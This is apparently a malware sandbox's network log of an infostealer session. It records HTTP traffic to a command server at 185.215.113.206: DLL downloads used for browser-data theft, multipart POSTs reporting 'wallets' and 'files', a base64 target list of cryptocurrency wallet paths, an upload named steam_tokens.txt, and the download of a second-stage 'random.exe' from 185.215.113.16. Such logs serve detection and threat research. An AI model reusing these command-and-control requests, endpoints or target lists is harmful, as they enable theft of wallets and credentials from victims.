Dec 7, 2024 00:15:45.767018080 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 7, 2024 00:15:45.767294884 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 7, 2024 00:15:45.774243116 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Dec 7, 2024 00:15:47.371696949 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 00:15:47.809664965 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 7, 2024 00:15:48.731967926 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 00:15:49.169225931 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 7, 2024 00:15:49.815495968 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 00:15:50.252655983 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 7, 2024 00:15:53.307986975 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 00:15:53.746231079 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 7, 2024 00:15:54.370157003 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 00:15:54.807141066 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 7, 2024 00:15:55.422863007 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHC Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 00:15:56.646064043 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 00:15:57.339031935 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="message"wallets------JDGHIIJKEBGIDHIDBKJD--
Dec 7, 2024 00:15:57.780164003 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 7, 2024 00:15:57.783121109 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 2d 2d 0d 0a Data Ascii: ------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="message"files------HIDGCFBFBFBKEBGCAFCG--
Dec 7, 2024 00:15:58.224417925 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 00:15:58.238188028 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file"------JEBKEHJJDAAAAKECBGHD--
Dec 7, 2024 00:15:59.175237894 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 00:15:59.204036951 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 2d 2d 0d 0a Data Ascii: ------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="message"ybncbhylepme------HDBGHIDGDGHCBGDGCBFI--
Dec 7, 2024 00:15:59.647423029 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49869	185.215.113.16	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 00:15:59.854748964 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 7, 2024 00:16:01.122016907 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Dec 2024 23:16:00 GMT Content-Type: application/octet-stream Content-Length: 3232256 Last-Modified: Fri, 06 Dec 2024 23:06:10 GMT Connection: keep-alive ETag: "67538362-315200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 60 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf`1@11@WkB1\|B1 @.rsrc@.idata @oocxjflm*@kysdbyynP11@.taggant0`1"01@
Dec 7, 2024 00:16:01.122076035 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 00:16:01.122531891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
